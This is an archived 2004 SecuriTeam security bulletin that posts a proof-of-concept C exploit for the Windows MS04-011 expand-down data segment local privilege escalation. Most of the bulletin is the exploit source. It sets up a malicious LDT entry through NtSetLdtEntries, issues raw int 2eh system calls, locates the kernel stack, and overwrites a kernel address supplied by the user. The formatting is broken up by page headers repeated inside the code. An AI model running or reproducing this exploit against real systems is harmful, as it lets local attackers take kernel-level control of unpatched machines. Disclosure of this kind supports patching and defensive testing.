

# [EXPL] Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0044.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 07/13/04

To: list@securiteam.com

Date: 13 Jul 2004 16:51:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/5BP0I2KCKU.html>> Windows Expand-Down Data Segment Local Privilege Escalation (MS04-011), a vulnerability in Windows' kernel allows local attacker to gain elevated privileges.

The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

```
/******
```

```
* Windows Expand-Down Data Segment Local Privilege Escalation
```

```
* [MS04-011]
```

```
*
```

```
* Bug found by: Derek Soeder
```

```
* Author: mslug (a1476854@hotmail.com), All rights reserved.
```

```
*
```

## Securiteam: [EXPL] Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)

\* Version: PoC 0.1

\*

\* Tested: Win2k pro en sp4

\*

\* Thanks: z0mbie's article :)

\*

\* Compile: cl winldt.c

\*

\* Date: 18 Apr 2004

\*\*\*\*\*/

```
#include <windows.h>
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#if 1
```

```
    #define KernelStackPtr 0xFD000000 //
```

```
    #define BedSize 0x01000000
```

```
#else
```

```
    #define KernelStackPtr 0xF0000000
```

```
    #define BedSize 0x10000000
```

```
#endif
```

```
unsigned char bed[BedSize];
```

```
unsigned char pin[]="COOL";
```

```
int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);
```

```
WORD SetupLDT(WORD seg, DWORD ldtbase);
```

```
unsigned long patch_to;
```

```
int main(int argc, char *argv[])
```

```
{
```

```
    DWORD ldtbase, KSP;
```

```
    int i;
```

```
    HMODULE hNtdll;
```

```
    if(argc<2) {
```

```
        printf("*** coded by mslug@safechina.net **\n");
```

```
        printf("winldt.exe <kernel address>\n");
```

```
        return 0;
```

```
    }
```

```
    patch_to = strtoul(argv[1], 0, 16);
```

```
    hNtdll = LoadLibrary("ntdll.dll");
```

```
    (DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll,  
    "NtSetLdtEntries");
```

## Securiteam: [EXPL] Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)

```
memset(bed, 'A', BedSize);
bed[BedSize-1]=0;

ldtbase = (DWORD) &bed[0] - KernelStackPtr;

printf("[+] User-land bed : 0x%08X\n", &bed[0]);
printf("[+] 1st LDT base : 0x%08X\n", ldtbase);

SetupLDT(0x1f, ldtbase);
__asm {
    push es
    push 1fh
    pop es
    mov eax, 11h //1 param
    lea edx, pin
    int 2eh
    pop es
}

for (KSP=0, i=0; i<BedSize-3; i++) {
    if (bed[i] == 'C' && bed[i+1] == 'O' &&
        bed[i+2] == 'O' && bed[i+3] == 'L' )
    {
        KSP = KernelStackPtr + i;
        printf("[!] Knl stack ptr : 0x%08X\n", KSP);
        //KSP = (DWORD)&bed[i]-ldtbase;
        //printf("[!] Knl stack ptr : 0x%08X\n", KSP);
        break;
    }
}

if(!KSP) {
    printf("[ -] Can't locate Kernel stack pointer, try again\n");
    return 0;
} else if (patch_to < KSP) {
    printf("[ -] Can only patch kernel above KSP\n");
    return 0;
}

ldtbase = patch_to - KSP;

printf("[+] Patch to : 0x%08X\n", patch_to);
printf("[+] 2nd LDT base : 0x%08X\n", ldtbase);

SetupLDT(0x17, ldtbase);
__asm {
    push es
    push 17h
    pop es
    mov eax, 11h
    lea edx, pin
```

## Securiteam: [EXPL] Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)

```
int 2eh
pop es
}

return 0;
}

WORD SetupLDT(WORD seg, DWORD ldtbase)
{
    LDT_ENTRY EvilLdt;
    DWORD base = ldtbase;
    DWORD limit = 0;
    int ret;

    EvilLdt.BaseLow = base & 0xFFFF;
    EvilLdt.HighWord.Bytes.BaseMid = base >> 16;
    EvilLdt.HighWord.Bytes.BaseHi = base >> 24;
    EvilLdt.LimitLow = (limit >> 12) & 0xFFFF;
    EvilLdt.HighWord.Bits.LimitHi = limit >> 28;
    EvilLdt.HighWord.Bits.Granularity = 1; // 0/1, if 1,
limit=(limit<<12)|FFF
    EvilLdt.HighWord.Bits.Default_Big = 1; // 0=16bit 1=32bit
    EvilLdt.HighWord.Bits.Reserved_0 = 0; // 0/1
    EvilLdt.HighWord.Bits.Sys = 0; // 0/1
    EvilLdt.HighWord.Bits.Pres = 1; // 0/1 (presence bit)
    EvilLdt.HighWord.Bits.Dpl = 3; // only 3 allowed :-(
    EvilLdt.HighWord.Bits.Type = 23; // [16..27]

    ret = NtSetLdtEntries( seg,
        *(DWORD*)&EvilLdt,
        *(((DWORD*)&EvilLdt)+1),
        0,0,0);
    if (ret < 0) {
        printf("[-] Set ldt error : %08X.\n", ret);
        exit(0);
    }

    return seg;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:a1476854@hotmail.com> mslug.

The original article can be found at:

<<http://xfocus.net/articles/200404/691.html>>

<http://xfocus.net/articles/200404/691.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[EXPL] Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)

Securiteam: [EXPL] Windows Expand-Down Data Segment Local Privilege Escalation (Exploit)

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.